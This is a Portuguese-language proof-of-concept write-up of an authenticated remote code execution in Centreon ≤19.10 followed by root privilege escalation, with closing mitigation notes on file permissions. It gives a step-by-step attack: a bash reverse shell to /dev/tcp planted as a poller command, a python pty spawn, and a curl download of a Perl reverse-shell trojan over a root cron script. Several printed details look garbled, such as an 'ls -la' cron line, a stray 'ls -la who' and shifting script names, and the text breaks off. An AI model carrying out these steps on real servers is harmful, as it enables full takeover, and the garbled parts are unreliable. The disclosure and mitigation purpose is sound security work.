
Centreon =<19.10 RCE Autenticado
Prova de Conceito
Descoberto por:
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
Execução Remota de Código Autenticada:
Vamos começar fazendo login como usuário Admin no painel web do Centreon.
Após o login, navegamos até Configuração > Comandos > Diversos
Em seguida, clique em Adicionar, conforme mostrado na imagem abaixo.
Agora criamos um reverse shell bash como nosso comando Diversos
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
E clique em Salvar
Agora navegamos até Configuração > Pollers e clicamos no nosso poller Central atual
Isso nos dá acesso ao menu Modificar configuração do poller
Aqui podemos rolar para baixo e definir um comando pós-reinício
Em seguida, selecione o reverse shell que criamos anteriormente e clique no botão Salvar
Agora podemos iniciar o listener Netcat em nossa máquina local
Por fim, clicamos no botão Exportar configuração no menu Configuração > Pollers
Selecione o nosso poller Central na caixa suspensa Pollers
Desmarque as caixas de seleção Gerar arquivos de configuração e Executar depuração do mecanismo de monitoramento (-v)
Marque as caixas de seleção Reiniciar mecanismo de monitoramento e Comando pós-geração
Selecione Reiniciar na caixa suspensa Método
Ao clicar em Exportar, o Poller será reiniciado e, assim, executará o Comando Pós-Reinício que configuramos anteriormente É neste momento que nosso listener do reverse shell receberá uma conexão
A Execução Remota de Código autenticada foi bem-sucedida!
(Este foi o write-up para CVE-2019-19699)
A partir daqui, passamos a obter Root
Vamos usar o CVE-2019-16406 encontrado por TheCyberGeek para comprometer totalmente o servidor Centreon =< 19.10
Vamos começar gerando um shell TTY no nosso terminal atual do reverse shell
python -c 'import pty; pty.spawn("/bin/sh")'
Agora vamos ver quais tarefas cron existem executando cat /etc/cron.d/*
Agora vemos que centreon_autodisc.pl é uma tarefa Cron
(Foi alterado de 30 22 * * * root para * * * * * root para fins de demonstração)
Isso é executado como Root; vamos substituir o centreon_autodisco.pl por um reverse shell em Perl
O shell Perl que usarei pode ser baixado aqui
Baixe o reverse shell e edite o endereço IP e a porta para os seus, conforme explicado na página da web
Execute um mv para renomear o arquivo perl-reverse-shell.pl para centreon_autodisco.pl localmente
Vamos iniciar um SimpleHTTPServer local em uma porta de sua escolha
Dessa forma, podemos curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl para substituir o centreon_autodisco.pl existente pelo nosso cavalo de troia reverse shell em Perl
Agora que o arquivo foi substituído, tudo o que resta fazer é iniciar um listener Netcat na porta que configuramos anteriormente, e receberemos uma conexão de volta do servidor como usuário Root!
O acesso ao sistema como Root foi bem-sucedido!
Agora, as notas sobre como achamos que a escalada de privilégios deve ser mitigada!
Configurações atuais no 19.10:
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
Mitigação para /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
Como você pode ver, agora ele pertence ao Root; o grupo apache pode apenas ler e executar; o centreon pode apenas executar; portanto, isso não afeta a funcionalidade.
Exemplo:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php